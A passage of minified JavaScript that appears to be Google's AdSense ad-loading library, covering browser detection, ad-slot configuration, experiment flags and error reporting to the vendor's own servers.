h=f[g];b.call(void 0,h,g,a)&&(d[e++]=h)}return d}function Ka(a,b){for(var c=a.length,d=Array(c),e=q(a)?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d}function La(a,b){for(var c=a.length,d=q(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a))return!0;return!1}function Ma(a,b){a:{for(var c=a.length,d=q(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:q(a)?a.charAt(b):a[b]}function Na(a,b){a:{for(var c=q(a)?a.split(""):a,d=a.length-1;0<=d;d--)if(d in c&&b.call(void 0,c[d],d,a)){b=d;break a}b=-1}return 0>b?null:q(a)?a.charAt(b):a[b]}function Oa(a,b){a:if(q(a))a=q(b)&&1==b.length?a.indexOf(b,0):-1;else{for(var c=0;c<a.length;c++)if(c in a&&a[c]===b){a=c;break a}a=-1}return 0<=a};function Pa(){return function(){return!xa.apply(this,arguments)}}function Qa(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}}function Ra(a){var b=a;return function(){if(b){var c=b;b=null;c()}}};function Sa(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return!0;return!1}function Ta(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b}function Ua(a,b){return null!==a&&b in a};function Va(){this.a="";this.h=Wa}Va.prototype.f=!0;Va.prototype.b=function(){return this.a.toString()};function Xa(a){if(a instanceof Va&&a.constructor===Va&&a.h===Wa)return a.a;wa(a);return"type_error:TrustedResourceUrl"}var Wa={};function Ya(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]}var Za=/&/g,$a=/</g,ab=/>/g,bb=/"/g,cb=/'/g,db=/\x00/g;function eb(a,b){return-1!=a.indexOf(b)}function fb(a,b){var c=0;a=Ya(String(a)).split(".");b=Ya(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",g=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];g=/(\d*)(\D*)(.*)/.exec(g)||["","","",""];if(0==f[0].length&&0==g[0].length)break;c=gb(0==f[1].length?0:parseInt(f[1],10),0==g[1].length?0:parseInt(g[1],10))||gb(0==f[2].length,0==g[2].length)||gb(f[2],g[2]);f=f[3];g=g[3]}while(0==c)}return c}function gb(a,b){return a<b?-1:a>b?1:0};function hb(){this.a="";this.h=ib}hb.prototype.f=!0;hb.prototype.b=function(){return this.a.toString()};function jb(a){if(a instanceof hb&&a.constructor===hb&&a.h===ib)return a.a;wa(a);return"type_error:SafeUrl"}var kb=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i,ib={};function lb(a){var b=new hb;b.a=a;return b}lb("about:blank");var mb;a:{var nb=p.navigator;if(nb){var ob=nb.userAgent;if(ob){mb=ob;break a}}mb=""}function t(a){return eb(mb,a)}function pb(a){for(var b=/(\w[\w ]+)\/([^\s]+)\s*(?:\((.*?)\))?/g,c=[],d;d=b.exec(a);)c.push([d[1],d[2],d[3]||void 0]);return c};function qb(){return(t("Chrome")||t("CriOS"))&&!t("Edge")}function rb(){function a(e){e=Ma(e,d);return c[e]||""}var b=mb;if(t("Trident")||t("MSIE"))return tb(b);b=pb(b);var c={};Ia(b,function(e){c[e[0]]=e[1]});var d=Ga(Ua,c);return t("Opera")?a(["Version","Opera"]):t("Edge")?a(["Edge"]):t("Edg/")?a(["Edg"]):qb()?a(["Chrome","CriOS"]):(b=b[2])&&b[1]||""}function ub(a){return 0<=fb(rb(),a)}function tb(a){var b=/rv: *([\d\.]*)/.exec(a);if(b&&b[1])return b[1];b="";var c=/MSIE +([\d\.]+)/.exec(a);if(c&&c[1])if(a=/Trident\/(\d.\d)/.exec(a),"7.0"==c[1])if(a&&a[1])switch(a[1]){case "4.0":b="8.0";break;case "5.0":b="9.0";break;case "6.0":b="10.0";break;case "7.0":b="11.0"}else b="7.0";else b=c[1];return b};function vb(a,b){a.src=Xa(b);(b=qa())&&a.setAttribute("nonce",b)};var wb={"\x00":"\\0","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\x0B",'"':'\\"',"\\":"\\\\","<":"\\u003C"},xb={"'":"\\'"};function yb(a){return String(a).replace(/\-([a-z])/g,function(b,c){return c.toUpperCase()})};function zb(a){zb[" "](a);return a}zb[" "]=ua;function v(){}var Ab="function"==typeof Uint8Array;function x(a,b,c,d){a.a=null;b||(b=[]);a.w=void 0;a.h=-1;a.b=b;a:{if(b=a.b.length){--b;var e=a.b[b];if(!(null===e||"object"!=typeof e||ya(e)||Ab&&e instanceof Uint8Array)){a.i=b-a.h;a.f=e;break a}}a.i=Number.MAX_VALUE}a.s={};if(c)for(b=0;b<c.length;b++)e=c[b],e<a.i?(e+=a.h,a.b[e]=a.b[e]||Bb):(Cb(a),a.f[e]=a.f[e]||Bb);if(d&&d.length)for(b=0;b<d.length;b++)Db(a,d[b])}var Bb=[];function Cb(a){var b=a.i+a.h;a.b[b]||(a.f=a.b[b]={})}function y(a,b){if(b<a.i){b+=a.h;var c=a.b[b];return c===Bb?a.b[b]=[]:c}if(a.f)return c=a.f[b],c===Bb?a.f[b]=[]:c}function Eb(a,b){a=y(a,b);return null==a?a:+a}function Fb(a,b){a=y(a,b);return null==a?a:!!a}function A(a,b,c){a=y(a,b);return null==a?c:a}function Gb(a,b){a=Fb(a,b);return null==a?!1:a}function Hb(a,b){a=Eb(a,b);return null==a?0:a}function Ib(a,b,c){b<a.i?a.b[b+a.h]=c:(Cb(a),a.f[b]=c);return a}function Db(a,b){for(var c,d,e=0;e<b.length;e++){var f=b[e],g=y(a,f);null!=g&&(c=f,d=g,Ib(a,f,void 0))}return c?(Ib(a,c,d),c):0}function B(a,b,c){a.a||(a.a={});if(!a.a[c]){var d=y(a,c);d&&(a.a[c]=new b(d))}return a.a[c]}function C(a,b,c){a.a||(a.a={});if(!a.a[c]){for(var d=y(a,c),e=[],f=0;f<d.length;f++)e[f]=new b(d[f]);a.a[c]=e}b=a.a[c];b==Bb&&(b=a.a[c]=[]);return b}function Jb(a){if(a.a)for(var b in a.a){var c=a.a[b];if(ya(c))for(var d=0;d<c.length;d++)c[d]&&Jb(c[d]);else c&&Jb(c)}return a.b};function Kb(a){x(this,a,Lb,null)}r(Kb,v);function Mb(a){x(this,a,null,null)}r(Mb,v);var Lb=[2,3];function Nb(a){x(this,a,null,null)}r(Nb,v);var Ob=document,D=window;var Pb={"120x90":!0,"160x90":!0,"180x90":!0,"200x90":!0,"468x15":!0,"728x15":!0};function Qb(a,b){if(15==b){if(728<=a)return 728;if(468<=a)return 468}else if(90==b){if(200<=a)return 200;if(180<=a)return 180;if(160<=a)return 160;if(120<=a)return 120}return null};function Rb(a,b){return a.createElement(String(b))}function Sb(a){this.a=a||p.document||document}Sb.prototype.contains=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};function Tb(a){Ub();var b=new Va;b.a=a;return b}var Ub=ua;function Vb(){return!(t("iPad")||t("Android")&&!t("Mobile")||t("Silk"))&&(t("iPod")||t("iPhone")||t("Android")||t("IEMobile"))};function Wb(a){try{var b;if(b=!!a&&null!=a.location.href)a:{try{zb(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}}function Xb(a){for(var b=p,c=0;b&&40>c++&&(!Wb(b)||!a(b));)a:{try{var d=b.parent;if(d&&d!=b){b=d;break a}}catch(e){}b=null}}function Yb(){var a=p;Xb(function(b){a=b;return!1});return a}function Zb(a,b){var c=a.createElement("script");vb(c,Tb(b));return(a=a.getElementsByTagName("script")[0])&&a.parentNode?(a.parentNode.insertBefore(c,a),c):null}function $b(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle}function ac(a,b,c){var d=!1;void 0===c||c||(d=bc());return!d&&!cc()&&(c=Math.random(),c<b)?(c=dc(p),a[Math.floor(c*a.length)]):null}function dc(a){if(!a.crypto)return Math.random();try{var b=new Uint32Array(1);a.crypto.getRandomValues(b);return b[0]/65536/65536}catch(c){return Math.random()}}function ec(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.call(void 0,a[c],c,a)}function fc(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d<b;d++)c^=(c<<5)+(c>>2)+a.charCodeAt(d)&4294967295;return 0<c?c:4294967296+c}var cc=Qa(function(){return eb(mb,"Google Web Preview")||1E-4>Math.random()}),bc=Qa(function(){return eb(mb,"MSIE")}),gc=/^([0-9.]+)px$/,hc=/^(-?[0-9.]{1,30})$/;function ic(a){return hc.test(a)&&(a=Number(a),!isNaN(a))?a:null}function jc(a,b){return b?!/^false$/.test(a):/^true$/.test(a)}function F(a){return(a=gc.exec(a))?+a[1]:null}function kc(a){var b={display:"none"};a.style.setProperty?ec(b,function(c,d){a.style.setProperty(d,c,"important")}):a.style.cssText=lc(mc(nc(a.style.cssText),oc(b,function(c){return c+" !important"})))}var mc=Object.assign||function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};function oc(a,b){var c={},d;for(d in a)Object.prototype.hasOwnProperty.call(a,d)&&(c[d]=b.call(void 0,a[d],d,a));return c}function lc(a){var b=[];ec(a,function(c,d){null!=c&&""!==c&&b.push(d+":"+c)});return b.length?b.join(";")+";":""}function nc(a){var b={};if(a){var c=/\s*:\s*/;Ia((a||"").split(/\s*;\s*/),function(d){if(d){var e=d.split(c);d=e[0];e=e[1];d&&e&&(b[d.toLowerCase()]=e)}})}return b}var pc=Qa(function(){var a=/Edge\/([^. ]+)/.exec(navigator.userAgent);return a?18<=parseInt(a[1],10):(a=/Chrome\/([^. ]+)/.exec(navigator.userAgent))?71<=parseInt(a[1],10):(a=/AppleWebKit\/([^. ]+)/.exec(navigator.userAgent))?13<=parseInt(a[1],10):(a=/Firefox\/([^. ]+)/.exec(navigator.userAgent))?64<=parseInt(a[1],10):!1}),qc=Qa(function(){return qb()&&ub(72)||t("Edge")&&ub(18)||(t("Firefox")||t("FxiOS"))&&ub(65)||t("Safari")&&!(qb()||t("Coast")||t("Opera")||t("Edge")||t("Edg/")||t("OPR")||t("Firefox")||t("FxiOS")||t("Silk")||t("Android"))&&ub(12)});function rc(a,b,c){a.addEventListener&&a.addEventListener(b,c,!1)};function sc(a,b){p.google_image_requests||(p.google_image_requests=[]);var c=p.document.createElement("img");if(b){var d=function(e){b&&b(e);c.removeEventListener&&c.removeEventListener("load",d,!1);c.removeEventListener&&c.removeEventListener("error",d,!1)};rc(c,"load",d);rc(c,"error",d)}c.src=a;p.google_image_requests.push(c)};function tc(a,b){a=parseInt(a,10);return isNaN(a)?b:a}var uc=/^([\w-]+\.)*([\w-]{2,})(:[0-9]+)?$/;function vc(a,b){return a?(a=a.match(uc))?a[0]:b:b};function wc(){return"r20190814"}var xc=jc("false",!1),yc=jc("false",!1),zc=jc("true",!1)||!yc;function Ac(){return vc("","pagead2.googlesyndication.com")};function Bc(a){a=void 0===a?p:a;var b=a.context||a.AMP_CONTEXT_DATA;if(!b)try{b=a.parent.context||a.parent.AMP_CONTEXT_DATA}catch(c){}try{if(b&&b.pageViewId&&b.canonicalUrl)return b}catch(c){}return null}function Cc(a){return(a=a||Bc())?Wb(a.master)?a.master:null:null};function Dc(a,b){for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.call(void 0,a[c],c,a)}function Ec(a){return!(!a||!a.call)&&"function"===typeof a}function Fc(a){a=Cc(Bc(a))||a;a.google_unique_id?++a.google_unique_id:a.google_unique_id=1}function Gc(a){a=Cc(Bc(a))||a;a=a.google_unique_id;return"number"===typeof a?a:0}var Hc=!!window.google_async_iframe_id,Ic=Hc&&window.parent||window;function Jc(){if(Hc&&!Wb(Ic)){var a="."+Ob.domain;try{for(;2<a.split(".").length&&!Wb(Ic);)Ob.domain=a=a.substr(a.indexOf(".")+1),Ic=window.parent}catch(b){}Wb(Ic)||(Ic=window)}return Ic}var Kc=/(^| )adsbygoogle($| )/;function Lc(a){return xc&&a.google_top_window||a.top}function Mc(a){a=Lc(a);return Wb(a)?a:null};function I(a){a.google_ad_modifications||(a.google_ad_modifications={});return a.google_ad_modifications}function J(a,b){a:if(a=I(a).eids||[],a.indexOf)b=a.indexOf(b),b=0<b||0===b;else{for(var c=0;c<a.length;c++)if(a[c]===b){b=!0;break a}b=!1}return b}function Nc(a,b){a=I(a);a.tag_partners=a.tag_partners||[];a.tag_partners.push(b)}function Oc(a){I(D).allow_second_reactive_tag=a}function Pc(a,b,c){for(var d=0;d<a.length;++d)if((a[d].ad_slot||b)==b&&(a[d].ad_tag_origin||c)==c)return a[d];return null};var Qc={},Rc=(Qc.google_ad_client=!0,Qc.google_ad_host=!0,Qc.google_ad_host_channel=!0,Qc.google_adtest=!0,Qc.google_tag_for_child_directed_treatment=!0,Qc.google_tag_for_under_age_of_consent=!0,Qc.google_tag_partner=!0,Qc);function Sc(a){x(this,a,Tc,null)}r(Sc,v);var Tc=[4];Sc.prototype.X=function(){return y(this,3)};function Uc(a){x(this,a,null,null)}r(Uc,v);function Vc(a){x(this,a,null,Wc)}r(Vc,v);function Xc(a){x(this,a,null,null)}r(Xc,v);function Yc(a){x(this,a,null,null)}r(Yc,v);function Zc(a){x(this,a,null,null)}r(Zc,v);var Wc=[[1,2,3]];function $c(a){x(this,a,null,null)}r($c,v);function ad(a){x(this,a,null,null)}r(ad,v);function bd(a){x(this,a,cd,null)}r(bd,v);var cd=[6,7,9,10,11];function dd(a){x(this,a,ed,null)}r(dd,v);function fd(a){x(this,a,null,null)}r(fd,v);function gd(a){x(this,a,hd,null)}r(gd,v);function id(a){x(this,a,null,null)}r(id,v);function jd(a){x(this,a,null,null)}r(jd,v);function kd(a){x(this,a,null,null)}r(kd,v);function ld(a){x(this,a,null,null)}r(ld,v);var ed=[1,2,5,7],hd=[2,5,6];var md={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5,full_page:6};function nd(a,b){a=a.replace(/(^\/)|(\/$)/g,"");var c=fc(a),d=od(a);return b.find(function(e){var f=null!=y(e,7)?y(B(e,id,7),1):y(e,1);e=null!=y(e,7)?y(B(e,id,7),2):2;if(!pa(f))return!1;switch(e){case 1:return f==c;case 2:return d[f]||!1}return!1})||null}function od(a){for(var b={};;){b[fc(a)]=!0;if(!a)return b;a=a.substring(0,a.lastIndexOf("/"))}};function pd(a,b){var c=void 0===c?{}:c;this.error=a;this.context=b.context;this.msg=b.message||"";this.id=b.id||"jserror";this.meta=c};var qd=/^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/;function rd(a,b){this.a=a;this.b=b}function sd(a,b,c){this.url=a;this.a=b;this.qa=!!c;this.depth=pa(void 0)?void 0:null};function td(){this.f="&";this.h=!1;this.b={};this.i=0;this.a=[]}function ud(a,b){var c={};c[a]=b;return[c]}function vd(a,b,c,d,e){var f=[];ec(a,function(g,h){(g=wd(g,b,c,d,e))&&f.push(h+"="+g)});return f.join(b)}function wd(a,b,c,d,e){if(null==a)return"";b=b||"&";c=c||",$";"string"==typeof c&&(c=c.split(""));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(wd(a[g],b,c,d+1,e));return f.join(c[d])}}else if("object"==typeof a)return e=e||0,2>e?encodeURIComponent(vd(a,b,c,d,e+1)):"...";return encodeURIComponent(String(a))}function xd(a,b,c,d){a.a.push(b);a.b[b]=ud(c,d)}function yd(a,b,c){b=b+"//pagead2.googlesyndication.com"+c;var d=zd(a)-c.length;if(0>d)return"";a.a.sort(function(n,u){return n-u});c=null;for(var e="",f=0;f<a.a.length;f++)for(var g=a.a[f],h=a.b[g],k=0;k<h.length;k++){if(!d){c=null==c?g:c;break}var m=vd(h[k],a.f,",$");if(m){m=e+m;if(d>=m.length){d-=m.length;b+=m;e=a.f;break}else a.h&&(e=d,m[e-1]==a.f&&--e,b+=m.substr(0,e),e=a.f,d=0);c=null==c?g:c}}a="";null!=c&&(a=e+"trn="+c);return b+a}function zd(a){var b=1,c;for(c in a.b)b=c.length>b?c.length:b;return 3997-b-a.f.length-1};function Ad(){var a=void 0===a?D:a;this.a="http:"===a.location.protocol?"http:":"https:";this.b=Math.random()}function Bd(a,b,c,d,e,f){if((d?a.b:Math.random())<(e||.01))try{if(c instanceof td)var g=c;else g=new td,ec(c,function(k,m){var n=g,u=n.i++;k=ud(m,k);n.a.push(u);n.b[u]=k});var h=yd(g,a.a,"/pagead/gen_204?id="+b+"&");h&&("undefined"===typeof f?sc(h,null):sc(h,void 0===f?null:f))}catch(k){}};function Cd(a,b){this.start=a<b?a:b;this.a=a<b?b:a};function K(a,b,c){this.b=b>=a?new Cd(a,b):null;this.a=c}function Dd(a,b){var c=-1;b="google_experiment_mod"+(void 0===b?"":b);try{a.localStorage&&(c=parseInt(a.localStorage.getItem(b),10))}catch(d){return null}if(0<=c&&1E3>c)return c;if(cc())return null;c=Math.floor(1E3*dc(a));try{if(a.localStorage)return a.localStorage.setItem(b,""+c),c}catch(d){}return null};var Ed=null;function Fd(){if(null===Ed){Ed="";try{var a="";try{a=p.top.location.hash}catch(c){a=p.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Ed=b?b[1]:""}}catch(c){}}return Ed};function Gd(){var a=p.performance;return a&&a.now&&a.timing?Math.floor(a.now()+a.timing.navigationStart):+new Date}function Hd(){var a=void 0===a?p:a;return(a=a.performance)&&a.now?a.now():null};function Id(a,b,c){this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=Math.random();this.slotId=void 0};var Jd=p.performance,Kd=!!(Jd&&Jd.mark&&Jd.measure&&Jd.clearMarks),Ld=Qa(function(){var a;if(a=Kd)a=Fd(),a=!!a.indexOf&&0<=a.indexOf("1337");return a});function Md(){var a=Nd;this.b=[];this.f=a||p;var b=null;a&&(a.google_js_reporting_queue=a.google_js_reporting_queue||[],this.b=a.google_js_reporting_queue,b=a.google_measure_js_timing);this.a=Ld()||(null!=b?b:1>Math.random())}function Od(a){a&&Jd&&Ld()&&(Jd.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_start"),Jd.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_end"))}Md.prototype.start=function(a,b){if(!this.a)return null;var c=Hd()||Gd();a=new Id(a,b,c);b="goog_"+a.label+"_"+a.uniqueId+"_start";Jd&&Ld()&&Jd.mark(b);return a};function Pd(){var a=Qd;this.w=Rd;this.h=!0;this.a=null;this.s=this.b;this.f=void 0===a?null:a;this.i=!1}function Sd(a,b,c,d){try{if(a.f&&a.f.a){var e=a.f.start(b.toString(),3);var f=c();var g=a.f;c=e;if(g.a&&pa(c.value)){var h=Hd()||Gd();c.duration=h-c.value;var k="goog_"+c.label+"_"+c.uniqueId+"_end";Jd&&Ld()&&Jd.mark(k);!g.a||2048<g.b.length||g.b.push(c)}}else f=c()}catch(m){g=a.h;try{Od(e),g=a.s(b,new pd(m,{message:Td(m)}),void 0,d)}catch(n){a.b(217,n)}if(!g)throw m;}return f}function Ud(a,b,c,d,e){return function(f){for(var g=[],h=0;h<arguments.length;++h)g[h]=arguments[h];return Sd(a,b,function(){return c.apply(d,g)},e)}}Pd.prototype.b=function(a,b,c,d,e){e=e||"jserror";try{var f=new td;f.h=!0;xd(f,1,"context",a);b.error&&b.meta&&b.id||(b=new pd(b,{message:Td(b)}));b.msg&&xd(f,2,"msg",b.msg.substring(0,512));var g=b.meta||{};if(this.a)try{this.a(g)}catch(G){}if(d)try{d(g)}catch(G){}b=[g];f.a.push(3);f.b[3]=b;d=p;b=[];g=null;do{var h=d;if(Wb(h)){var k=h.location.href;g=h.document&&h.document.referrer||null}else k=g,g=null;b.push(new sd(k||"",h));try{d=h.parent}catch(G){d=null}}while(d&&h!=d);k=0;for(var m=b.length-1;k<=m;++k)b[k].depth=m-k;h=p;if(h.location&&h.location.ancestorOrigins&&h.location.ancestorOrigins.length==b.length-1)for(m=1;m<b.length;++m){var n=b[m];n.url||(n.url=h.location.ancestorOrigins[m-1]||"",n.qa=!0)}var u=new sd(p.location.href,p,!1);h=null;var w=b.length-1;for(n=w;0<=n;--n){var z=b[n];!h&&qd.test(z.url)&&(h=z);if(z.url&&!z.qa){u=z;break}}z=null;var H=b.length&&b[w].url;0!=u.depth&&H&&(z=b[w]);var E=new rd(u,z);E.b&&xd(f,4,"top",E.b.url||"");xd(f,5,"url",E.a.url||"");Bd(this.w,e,f,this.i,c)}catch(G){try{Bd(this.w,e,{context:"ecmserr",rctx:a,msg:Td(G),url:E&&E.a.url},this.i,c)}catch(sb){}}return this.h};function Td(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;try{-1==a.indexOf(b)&&(a=b+"\n"+a);for(var c;a!=c;)c=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,"$1");b=a.replace(/\n */g,"\n")}catch(d){}}return b};function L(a){a=void 0===a?"":a;var b=Error.call(this);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.name="TagError";this.message=a?"adsbygoogle.push() error: "+a:"";Error.captureStackTrace?Error.captureStackTrace(this,L):this.stack=Error().stack||""}ka(L,Error);var Rd,Vd,Wd,Nd=Jc(),Qd=new Md;function Xd(a){null!=a&&(Nd.google_measure_js_timing=a);Nd.google_measure_js_timing||(a=Qd,a.a=!1,a.b!=a.f.google_js_reporting_queue&&(Ld()&&Ia(a.b,Od),a.b.length=0))}function Yd(a){var b=D.jerExpIds;if(ya(b)&&0!==b.length){var c=a.eid;if(c){b=ca(c.split(",")).concat(ca(b));c={};for(var d=0,e=0;e<b.length;){var f=b[e++];var g=f;g=za(g)?"o"+Aa(g):(typeof g).charAt(0)+g;Object.prototype.hasOwnProperty.call(c,g)||(c[g]=!0,b[d++]=f)}b.length=d;a.eid=b.join(",")}else a.eid=b.join(",")}}(function(){Rd=new Ad;Vd=new Pd;Vd.a=function(b){Yd(b);Wd&&(b.jc=Wd)};"complete"==Nd.document.readyState?Xd():Qd.a&&rc(Nd,"load",function(){Xd()});var a=Ob.currentScript;Wd=a?a.dataset.jc:""})();function Zd(){var a=[$d,ae];Vd.a=function(b){Ia(a,function(c){c(b)});Yd(b);Wd&&(b.jc=Wd)}}function be(a,b,c){return Sd(Vd,a,b,c)}function ce(a,b){return Ud(Vd,a,b,void 0,void 0)}function de(a,b,c){Bd(Rd,a,b,"jserror"!=a,c,void 0)}function ee(a,b,c,d){return 0==(b.error&&b.meta&&b.id?b.msg||Td(b.error):Td(b)).indexOf("TagError")?(Vd.i=!0,c=b instanceof pd?b.error:b,c.pbr||(c.pbr=!0,Vd.b(a,b,.1,d,"puberror")),!1):Vd.b(a,b,c,d)}function fe(a){de("rmvasft",{code:"ldr",branch:a?"exp":"cntr"})};function ge(a,b){this.oa=a;this.ua=b}function he(a){var b=[].slice.call(arguments).filter(Pa());if(!b.length)return null;var c=[],d={};b.forEach(function(e){c=c.concat(e.oa||[]);d=Object.assign(d,e.ua)});return new ge(c,d)}function ie(a){switch(a){case 1:return new ge(null,{google_ad_semantic_area:"mc"});case 2:return new ge(null,{google_ad_semantic_area:"h"});case 3:return new ge(null,{google_ad_semantic_area:"f"});case 4:return new ge(null,{google_ad_semantic_area:"s"});default:return null}};var je=new ge(["google-auto-placed"],{google_tag_origin:"qs"});var ke={},le=(ke.google_ad_channel=!0,ke.google_ad_host=!0,ke);function me(a,b){a.location.href&&a.location.href.substring&&(b.url=a.location.href.substring(0,200));de("ama",b,.01)}function ne(a){var b={};ec(le,function(c,d){d in a&&(b[d]=a[d])});return b};var oe=tc("2012",2012);function pe(a){x(this,a,qe,re)}r(pe,v);var qe=[2,8],re=[[3,4,5],[6,7]];function se(a){return null!=a?!a:a}function te(a,b){for(var c=!1,d=0;d<a.length;d++){var e=a[d].call();if(e==b)return e;null==e&&(c=!0)}if(!c)return!b}function ue(a,b){var c=C(a,pe,2);if(!c.length)return ve(a,b);a=A(a,1,0);if(1==a)return se(ue(c[0],b));c=Ka(c,function(d){return function(){return ue(d,b)}});switch(a){case 2:return te(c,!1);case 3:return te(c,!0)}}function ve(a,b){var c=Db(a,re[0]);a:{switch(c){case 3:var d=A(a,3,0);break a;case 4:d=A(a,4,0);break a;case 5:d=A(a,5,0);break a}d=void 0}if(d&&(b=(b=b[c])&&b[d])){try{var e=b.apply(null,y(a,8))}catch(f){return}b=A(a,1,0);if(4==b)return!!e;d=null!=e;if(5==b)return d;if(12==b)a=A(a,7,"");else a:{switch(c){case 4:a=Hb(a,6);break a;case 5:a=A(a,7,"");break a}a=void 0}if(null!=a){if(6==b)return e===a;if(9==b)return 0==fb(e,a);if(d)switch(b){case 7:return e<a;case 8:return e>a;case 12:return(new RegExp(a)).test(e);case 10:return-1==fb(e,a);case 11:return 1==fb(e,a)}}}}function we(a,b){return!a||!(!b||!ue(a,b))};function xe(a){x(this,a,ye,null)}r(xe,v);var ye=[4];function ze(a){x(this,a,Ae,Be)}r(ze,v);function Ce(a){x(this,a,null,null)}r(Ce,v);var Ae=[5],Be=[[1,2,3,6]];function De(){var a={};this.a=(a[3]={},a[4]={},a[5]={},a)}va(De);function Ee(a,b){switch(b){case 1:return A(a,1,0);case 2:return A(a,2,0);case 3:return A(a,3,0);case 6:return A(a,6,0);default:return null}}function Fe(a,b){if(!a)return null;switch(b){case 1:return Gb(a,1);case 2:return Hb(a,2);case 3:return A(a,3,"");case 6:return y(a,4);default:return null}}function Ge(a,b,c){b=He.j().a[a][b];if(!b)return c;b=new ze(b);b=Ie(b);a=Fe(b,a);return null!=a?a:c}function Ie(a){var b=De.j().a;if(b){var c=Na(C(a,Ce,5),function(d){return we(B(d,pe,1),b)});if(c)return B(c,xe,2)}return B(a,xe,4)}function He(){var a={};this.a=(a[1]={},a[2]={},a[3]={},a[6]={},a)}va(He);function Je(a,b){return!!Ge(1,a,void 0===b?!1:b)}function Ke(a,b){b=void 0===b?0:b;a=Number(Ge(2,a,b));return isNaN(a)?b:a}function Le(a,b){return Ge(3,a,void 0===b?"":b)}function Me(a,b){b=void 0===b?[]:b;return Ge(6,a,b)}function Ne(a){var b=He.j().a;Ia(a,function(c){var d=Db(c,Be[0]),e=Ee(c,d);e&&(b[d][e]=Jb(c))})}function Oe(a){var b=He.j().a;Ia(a,function(c){var d=new ze(c),e=Db(d,Be[0]);(d=Ee(d,e))&&(b[e][d]||(b[e][d]=c))})};function M(a){this.a=a}var Pe=new M(1),Qe=new M(2),Re=new M(3),Se=new M(4),Te=new M(5),Ue=new M(6),Ve=new M(7),We=new M(8),Xe=new M(9),Ye=new M(10),Ze=new M(11),$e=new M(12),af=new M(13),bf=new M(14);function N(a,b,c){c.hasOwnProperty(a.a)||Object.defineProperty(c,String(a.a),{value:b})}function cf(a,b,c){return b[a.a]||c||function(){}}function df(a){N(Te,Je,a);N(Ue,Ke,a);N(Ve,Le,a);N(We,Me,a);N(af,Oe,a)}function ef(a){N(Se,function(b){De.j().a=b},a);N(Xe,function(b,c){var d=De.j();d.a[3][b]||(d.a[3][b]=c)},a);N(Ye,function(b,c){var d=De.j();d.a[4][b]||(d.a[4][b]=c)},a);N(Ze,function(b,c){var d=De.j();d.a[5][b]||(d.a[5][b]=c)},a);N(bf,function(b){for(var c=De.j(),d=ba([3,4,5]),e=d.next();!e.done;e=d.next()){var f=e.value;e=void 0;var g=c.a[f];f=b[f];for(e in f)g[e]=f[e]}},a)}function ff(a){a.hasOwnProperty("init-done")||Object.defineProperty(a,"init-done",{value:!0})};function gf(){this.a=function(){return!1}}va(gf);function hf(a,b,c){c||(c=zc?"https":"http");p.location&&"https:"==p.location.protocol&&"http"==c&&(c="https");return[c,"://",a,b].join("")}function jf(a,b,c){a=hf(a,b,c);var d=void 0===d?!1:d;if(gf.j().a(182,d)){var e;2012<oe?e=a.replace(new RegExp(".js".replace(/([-()\[\]{}+?*.$\^|,:#<!\\])/g,"\\$1").replace(/\x08/g,"\\x08"),"g"),("_fy"+oe+".js").replace(/\$/g,"$$$$")):e=a;d=e}else d=a;return d};var kf=null;function lf(){if(!xc)return!1;if(null!=kf)return kf;kf=!1;try{var a=Mc(p);a&&-1!=a.location.hash.indexOf("google_logging")&&(kf=!0);p.localStorage.getItem("google_logging")&&(kf=!0)}catch(b){}return kf}function mf(a,b){b=void 0===b?[]:b;var c=!1;p.google_logging_queue||(c=!0,p.google_logging_queue=[]);p.google_logging_queue.push([a,b]);c&&lf()&&(a=jf(Ac(),"/pagead/js/logging_library.js"),Zb(p.document,a))};function nf(a,b,c){this.a=a;this.b=b;this.f=c};function of(a){x(this,a,null,null)}r(of,v);function pf(a){x(this,a,null,null)}r(pf,v);function qf(a){x(this,a,rf,null)}r(qf,v);var rf=[5];function sf(a){try{var b=a.localStorage.getItem("google_ama_settings");return b?new qf(b?JSON.parse(b):null):null}catch(c){return null}};function tf(){};var uf={rectangle:1,horizontal:2,vertical:4};var 